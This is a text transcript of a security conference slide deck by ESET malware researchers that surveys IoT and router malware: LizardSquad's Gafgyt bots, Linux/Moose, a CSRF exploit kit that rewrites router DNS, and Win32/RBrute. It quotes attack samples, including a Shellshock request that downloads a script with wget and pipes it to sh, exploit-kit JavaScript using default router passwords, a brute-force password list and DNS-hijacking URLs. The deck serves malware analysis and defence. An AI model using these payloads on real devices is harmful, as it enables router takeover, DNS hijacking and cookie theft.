IoT or Internet of - eset.github.io

104
.

Transcript of IoT or Internet of - eset.github.io

Page 1: IoT or Internet of - eset.github.io

.

Page 2: IoT or Internet of - eset.github.io

IoTorInternetof{Things,Threats}

Page 3: IoT or Internet of - eset.github.io

Thomas(@nyx__o)MalwareResearcheratESETCTFloverOpensourcecontributor

Page 4: IoT or Internet of - eset.github.io

Olivier(@obilodeau)MalwareResearcheratESETInfoseclectureratETSUniversityinMontrealPreviouslyinfosecdeveloper,networkadmin,linuxsystemadmin

Co-founderMontrehack(hands-onsecurityworkshops)FounderNorthSecHackerJeopardy

Page 5: IoT or Internet of - eset.github.io

AgendaAboutIOTLizardSquadLinux/MooseExploitKitWin32/RBruteConclusion

Page 6: IoT or Internet of - eset.github.io
Page 7: IoT or Internet of - eset.github.io
Page 8: IoT or Internet of - eset.github.io
Page 9: IoT or Internet of - eset.github.io
Page 10: IoT or Internet of - eset.github.io
Page 11: IoT or Internet of - eset.github.io
Page 12: IoT or Internet of - eset.github.io
Page 13: IoT or Internet of - eset.github.io

WhyItMatters?HardtodetectHardtoremediateHardtofixLowhangingfruitforbadguys

Page 14: IoT or Internet of - eset.github.io

ARealThreatSeveralcasesdisclosedinthelasttwoyearsAlotofsame-oldbackgroundnoise(DDoSer)Thingsareonlygettingworse

Page 15: IoT or Internet of - eset.github.io
Page 16: IoT or Internet of - eset.github.io
Page 17: IoT or Internet of - eset.github.io
Page 18: IoT or Internet of - eset.github.io
Page 19: IoT or Internet of - eset.github.io
Page 20: IoT or Internet of - eset.github.io

Wait,isIoTmalwarereallyaboutthings?

Page 21: IoT or Internet of - eset.github.io

No.Notyet.No.Notyet.

Page 22: IoT or Internet of - eset.github.io
Page 23: IoT or Internet of - eset.github.io
Page 24: IoT or Internet of - eset.github.io

Sowhatkindofmalwarecanwefindonsuchinsecuredevices?

Page 25: IoT or Internet of - eset.github.io

LizardSquadLizardSquad

Page 26: IoT or Internet of - eset.github.io
Page 27: IoT or Internet of - eset.github.io

WhoareLizardSquad?BlackhathackinggroupLotsofDistributedDenialofService(DDoS)DDoSPlayStationNetworkandXboxliveinChristmas2014BombthreatsDDoSforhire(LizardStresser)

Page 28: IoT or Internet of - eset.github.io

DesCYBER-DesCYBER-CHENAPANS!CHENAPANS!

Page 29: IoT or Internet of - eset.github.io
Page 30: IoT or Internet of - eset.github.io

TheMalwareLinux/GafgytLinux/Powbot,Linux/Aidra,Kaiten,…Probablyothers,assourceispublic

Page 31: IoT or Internet of - eset.github.io

THISISABOT.ANIRCBOT.YOUWILLLIKETHISBOTANDTHISBOTWILLLIKEYOU.ITISVERYTINYANDWILLNOTTAKEUPMUCHOFYOURSPACEANDTIME.ITISAVERYUNIVERSALBOT.ITWILLWORKONALMOSTANYTHINGYOUWANTITTOWORKON.THISISABOT.ANIRCBOT.

Page 32: IoT or Internet of - eset.github.io

CaracteristicsTelnetscannerFlooding:UDP,TCP,JunkandHold

Page 33: IoT or Internet of - eset.github.io

if(!strcmp(argv[0],"LOLNOGTFO")){exit(0);}

Page 34: IoT or Internet of - eset.github.io

SomeServerCodeif(send(thefd,"\x1b[31m*****************************************\r\n",48,MSG_NOSIGNAL)==-1)if(send(thefd,"*WELCOMETOTHEBALLPIT*\r\n",43,MSG_NOSIGNAL)==-1)gotoend;if(send(thefd,"*Nowwith\x1b[32mrefrigerator\x1b[31msupport*\r\n",53,MSG_NOSIGNAL)==-if(send(thefd,"*****************************************\r\n\r\n>\x1b[0m",51,MSG_NOSIGNAL)==-

Page 35: IoT or Internet of - eset.github.io

AttackVectorsShellshockSSHcredentialsbrute-forceTelnetcredentialsbrute-force

Page 36: IoT or Internet of - eset.github.io

ExempleofShellshockAttempt

GET/cgi-bin/authLogin.cgiHTTP/1.1Host:127.0.0.1Cache-Control:no-cacheConnection:Keep-AlivePragma:no-cacheUser-Agent:(){goo;};wget-qO-http://o.kei.su/qn|sh>/dev/null2>&1&

Page 37: IoT or Internet of - eset.github.io

OtherVariantsHTTPSsupportCloudFlareprotectionbypass

Page 38: IoT or Internet of - eset.github.io
Page 39: IoT or Internet of - eset.github.io

Sophisticated?LizardStresserdatabasewasleakedPasswordsinplaintext…

Page 40: IoT or Internet of - eset.github.io

IRCCommandandControl

-------Daychangedto08/25/15-------09:32-!-Thereare0usersand2085invisibleon1servers09:32-!-42unknownconnection(s)09:32-!-3channelsformed09:32-!-Ihave2085clientsand0servers09:32-!-20852119Currentlocalusers2085,max211909:32-!-20852119Currentglobalusers2085,max2119

Page 41: IoT or Internet of - eset.github.io

BotMasters12:56-!-Topicfor#Fazzix:1k12:56-!-Topicsetbyvoid<>(WedAug1909:58:452015)12:56[Users#Fazzix]12:56[~void][~void_][@bob1k][@Fazzix][Myutro]·12:56-!-Irssi:#Fazzix:Totalof5nicks(4ops,0halfops,0voices,1normal)12:56-!-Channel#FazzixcreatedMonAug1703:11:29201512:56-!-Irssi:Jointo#Fazzixwassyncedin2secs

Page 42: IoT or Internet of - eset.github.io

Linux/MooseLinux/Moose

Page 43: IoT or Internet of - eset.github.io

Linux/MooseDiscoveredinNovember2014Thoroughlyanalyzedinearly2015PublishedareportinlateMay2015

Page 44: IoT or Internet of - eset.github.io

MooseDNAakaMalwaredescription

Hangtight,thisisarecap

Page 45: IoT or Internet of - eset.github.io

Linux/Moose…Namedafterthestring"elan"presentinthemalware

executable

Page 46: IoT or Internet of - eset.github.io

Elan…?

Page 47: IoT or Internet of - eset.github.io

TheLotusElan

Page 48: IoT or Internet of - eset.github.io

ElánTheSlovakrockband(from1969andstillactive)

Page 49: IoT or Internet of - eset.github.io
Page 50: IoT or Internet of - eset.github.io

NetworkCapabilitiesPivotthroughfirewallsHome-madeNATtraversalCustom-madeProxyserviceonlyavailabletoasetofwhitelistedIPaddresses

RemotelyconfiguredgenericnetworksnifferDNSHijacking

Page 51: IoT or Internet of - eset.github.io
Page 52: IoT or Internet of - eset.github.io

AttackVectorTelnetcredentialsbruteforceWordlistof304user/passentriessentbyserver

Page 53: IoT or Internet of - eset.github.io

CompromiseProtocol

Page 54: IoT or Internet of - eset.github.io

Anti-AnalysisStaticallylinkedbinarystrippedofitsdebuggingsymbolsHardtoreproduceenvironmentrequiredformalwaretooperateMisleadingstrings(getcool.com)

Page 55: IoT or Internet of - eset.github.io
Page 56: IoT or Internet of - eset.github.io

MooseHerdingTheMalwareOperation

Page 57: IoT or Internet of - eset.github.io

ViaC&CConfigurationNetworksnifferwasusedtostealHTTPCookiesTwitter:twll,twidFacebook:c_userInstagram:ds_user_idGoogle:SAPISID,APISIDGooglePlay/Android:LAY_ACTIVE_ACCOUNTYoutube:LOGIN_INFO

Page 58: IoT or Internet of - eset.github.io

ViaProxyUsageAnalysisNatureoftrafficProtocolTargetedsocialnetworks

Page 59: IoT or Internet of - eset.github.io
Page 60: IoT or Internet of - eset.github.io
Page 61: IoT or Internet of - eset.github.io

AnExample

Page 62: IoT or Internet of - eset.github.io

AnExample(cont.)

Page 63: IoT or Internet of - eset.github.io

AnExample(cont.)

Page 64: IoT or Internet of - eset.github.io

AnExample(cont.)

Page 65: IoT or Internet of - eset.github.io

Anti-TrackingWhitelistmeanswecan’tusetheproxyservicetoevaluatemalwarepopulationBlindbecauseofHTTPSenforcedonsocialnetworksDNSHijacking’sRogueDNSserversneverrevealed

Page 66: IoT or Internet of - eset.github.io
Page 67: IoT or Internet of - eset.github.io

AStrangeAnimal

Page 68: IoT or Internet of - eset.github.io

DifferentFocusnotintheDDoSorbitcoinminingbusinessnox86variantfoundcontrolledbyasinglegroupofactors

Page 69: IoT or Internet of - eset.github.io

Missing"Features"NopersistencemechanismNoshellaccessforoperators

Page 70: IoT or Internet of - eset.github.io

ThoughtBig,RealizedLittle?

Insocialnetworkfraud,networksnifferirrelevantDNSHijackingpossiblebutonlyforfewdevicesNoadfraud,spam,DDoS,etc.

Page 71: IoT or Internet of - eset.github.io

Status

Page 72: IoT or Internet of - eset.github.io

WhitepaperImpactFewweeksafterthepublicationtheC&CserverswentdarkAfterareboot,allaffecteddevicesshouldbecleanedButvictimscompromisedviaweakcredentials,sotheycanalwaysreinfect

Page 73: IoT or Internet of - eset.github.io

Aliveordead?

Page 74: IoT or Internet of - eset.github.io

Yay!Except…

Page 75: IoT or Internet of - eset.github.io

Linux/MooseUpdateNewsampleinSeptember

Newproxyserviceport(20012)NewC&CselectionalgorithmLotsofdifferencesStillunderscrutiny

Page 76: IoT or Internet of - eset.github.io
Page 77: IoT or Internet of - eset.github.io
Page 78: IoT or Internet of - eset.github.io

ExploitKitTargetingExploitKitTargetingRoutersRouters

Page 79: IoT or Internet of - eset.github.io

ExploitKitDefinitionAutomateexploitationTargetsbrowsersCommonexploitsareAdobeandJava

Page 80: IoT or Internet of - eset.github.io

source:Malwarebytes

Page 81: IoT or Internet of - eset.github.io

ExploitKitinAction

Page 82: IoT or Internet of - eset.github.io

ExploitKitinAction(cont.)

Cross-SiteRequestForgery(CSRF)Usesdefaultcredential(HTTP)ChangesprimaryDomainNameSystem(DNS)

Page 83: IoT or Internet of - eset.github.io

ExploitKitCSRF<html><head><scripttype="text/javascript"src<body><iframeid="iframe"sandbox="allow-same-origin"<scriptlanguage="javascript">

Page 84: IoT or Internet of - eset.github.io

ExploitKitHow-Tofunctione_belkin(ip){varmethod="POST";varurl="";vardata="";url="http://"+ip+"/cgi-bin/login.exe?pws=admin"exp(url,"","GET");url="http://"+ip+"/cgi-bin/setup_dns.exe";data="dns1_1="+pDNS.split('.')[0]+"&dns1_2="exp(url,data,method);}

Page 85: IoT or Internet of - eset.github.io

ExploitKitHow-Tofunctione_moto(ip){/*varmethod="GET";varurl="http://"+ip+"/frames.asp?userId=admin&password=motorolaexp(url,"",method);url='http://'+ip+'Gateway.Wan.hostName=&Gateway.Wan.dhcpClientEnabled=0&Gateway.Wan.ipAddress=0.0.0.0&Gateway.Wan.subnetMask=0.0.0.0&Gateway.Wan.defaultGateway=0.0.0.0&Gateway.Wan.dnsAddress1=3.3.3.3&Gateway.Wan.dnsAddress2=2.2.2.2&Gateway.Wan.dnsAddress3=0.0.0.0&Gateway.Wan.tcpSessionWaitTimeout=300&Gateway.Wan.udpSessionWaitTimeout=300&Gateway.Wan.icmpSessionWaitTimeout=300&urlOk=gatewayexp(url,"",POST);*/vari1=document.createElement('IMG');document.body.appendChild(i1);vari2=document.createElement('IMG');document.body.appendChild(i2);i1.src='http://'+ip+'/frames.asp?userId=admin&password=motorola';i2.src='http://'+ip+'/goformFOO/AlFrame?Gateway.VirtualServerAdvConfig.add=Add&Gateway.VirtualServerAdvConfig.serverId.entry="

Page 86: IoT or Internet of - eset.github.io

ExploitKitImprovementObfuscationCommonVulnerabilitiesandExposures(CVE)

Page 87: IoT or Internet of - eset.github.io

ExploitKit-CVECVE-2015-1187D-LinkDIR-636LRemoteCommandInjectionIncorrectAuthentication

Page 88: IoT or Internet of - eset.github.io

RecapExploitKitChangeDNSFileless

Page 89: IoT or Internet of - eset.github.io

WhatCanTheyDo?Bank/webmoneyMITMPhishingAdfraud

Page 90: IoT or Internet of - eset.github.io

YouSaidAdfraud?InjectionviaGoogleanalyticsdomainhijackingJavascriptrunsincontextofeverypage

Page 91: IoT or Internet of - eset.github.io

ExempleofGoogleAnalyticsSubstitution'adcash':function(){varadcash=document.createElement('script'adcash.type='text/javascript';adcash.src='http://www.adcash.com/script/java.php?option=rotateur&r=274944'document.body.appendChild(adcash);},

Page 92: IoT or Internet of - eset.github.io
Page 93: IoT or Internet of - eset.github.io

Win32/RBrute(cont.)Triestofindadministrationwebpages(IP)ScanandreportRoutermodelisextractedfromtherealmattributeoftheHTTPauthentication

Page 94: IoT or Internet of - eset.github.io

Win32/RBruteTargets$stringsrbrute.exe[...]TD-W8901GTD-W8901GBTD-W8951NDTD-W8961NDTD-8840TTD-W8961NDTD-8816TD-8817TD-W8151NTD-W8101GZXDSL831CIIZXV10W300[...]DSL-2520UDSL-2600UDSLrouterTD-W8901GTD-W8901G3.0TD-W8901GBTD-W8951NDTD-W8961ND

Page 95: IoT or Internet of - eset.github.io

Win32/RBruteBruteforceLogins:admin,support,root&AdministratorPasswordlistretrievedfromtheCnC

<emptystring>1111111234512345612345678abc123adminAdministratorconsumerdragongizmodoiqrquksmletmeinlifehackmonkeypasswordqwertyrootsoporteETB2006support

Page 96: IoT or Internet of - eset.github.io

Win32/RBruteChangingDNS

http://<router_IP>&dnsserver=<malicious_DNS>&dnsserver2=8.8.8.8&Save=Savehttp://<router_IP>dnscfg.cgi?dnsPrimary=<malicious_DNS>http://<router_IP>Enable_DNSFollowing=1&dnsPrimary=

Page 97: IoT or Internet of - eset.github.io

Win32/RBruteNextStepSimpleredirectiontofakeChromeinstaller(facebookorgoogledomains)Install(useractionrequired)ChangeprimaryDNSonthecomputer(viakeyregistry)

HKLM/SYSTEM/ControlSet001/Services/Tcpip/Parameters/Interfaces/{networkinterfaceUUID}/NameServer

Page 98: IoT or Internet of - eset.github.io

WhyreinfectsomeonebyRBruteandnotSality?

Page 99: IoT or Internet of - eset.github.io

Win32/RBruteInACoffeeShop

InfecteduserInfectedrouterEveryoneisinfected

Page 100: IoT or Internet of - eset.github.io

RBruteandSality

Page 101: IoT or Internet of - eset.github.io

ConclusionEmbeddedmalware

NotyetcomplexToolsandprocessesneedtocatchupalowhangingfruitPreventionsimple

Page 102: IoT or Internet of - eset.github.io

ThanksThankyou!ESETCanadaResearchTeam

Page 103: IoT or Internet of - eset.github.io

Questions?Questions?

@obilodeau@nyx__o

Page 104: IoT or Internet of - eset.github.io

Referenceshttp://www.welivesecurity.com/wp-content/uploads/2015/05/Dissecting-LinuxMoose.pdfhttp://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrf.htmlhttps://gist.github.com/josephwegner/1d20f1ce1d59b61172e1http://www.welivesecurity.com/2014/04/02/win32sality-newest-component-a-routers-primary-dns-changer-named-win32rbrute/